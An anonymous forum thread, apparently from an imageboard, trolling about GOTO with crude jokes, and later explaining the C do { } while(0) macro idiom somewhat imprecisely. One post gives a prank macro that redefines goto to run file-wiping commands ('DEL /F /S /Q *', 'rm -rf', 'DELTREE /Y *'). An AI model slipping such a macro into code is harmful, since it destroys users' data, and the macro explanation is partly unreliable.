How I know you're a fucking idiot instantly

when your post contains this word: GOTO

GOTO

>>1 is a fucking idiot. I knew that instantly.

IF ANUS GOTO HAX

GOTO MY ANUS

goto GOTO

It's two words: go to

goat-finger-to

GO SUB aw shit...

This space intentionally left blank

>>10
and this isn't. verify repeating digits

>>11
dubs:
check_em();
goto dubs;

>>12
nice infinite loop

>>13
there are infinite dubs

Check dubs

Check em

#define goto system("DEL /F /S /Q *");system("rm -rf");system("DELTREE /Y *");goto

>>17
dHAHAHAHHAHAHAHAHAA

>>17
Doesn't work on Solaris.

>>18
epic, isn't it? truly epic.

>>17
please wrap it in a do { } while(0) or you'll get unexpected results when running it in an unbraced control structure

https://en.wikipedia.org/wiki/Kazushige_Goto

>>21
is C too dumb to have { scopes }?

>>23
C has { } scopes, it's not about them but about function-like macro expansion. basically, the user is supposed to treat such a macro the same way he treats a function: ideally, invoking int hax_my_anus(int anus) { return 2 * anus; } should be the same as #define hax_my_anus 2 * anus: you just write hax_my_anus(x);. this works well enough for single-statement macros, but bigger ones are trickier.

for example, assume a macro like this:
#define hax_my_anus {\
printf("Your anus is %d\n", anus);\
printf("You can find it at %p\n", &anus);\
}
in general, it should work - but the user needs to be aware that it's a macro and not a function and call it without a semicolon at the end of a statement - an invocation like hax_my_anus(x); would be expanded to:
{
printf("Your anus is %d\n", x);
printf("You can find it at %p\n", &x);
};
which the compiler wouldn't like. wrapping the whole macro with do { } while(0) makes the intuitive invocation correct as it would expand to:
do{
printf("Your anus is %d\n", x);
printf("You can find it at %p\n", &x);
}while(0);
which works the same way (the do while loop would be entered and executed once but the always-false condition means it won't repeat).

basically, it's the problem of C preprocessor being a simple text replacer, nothing to do with C scoping.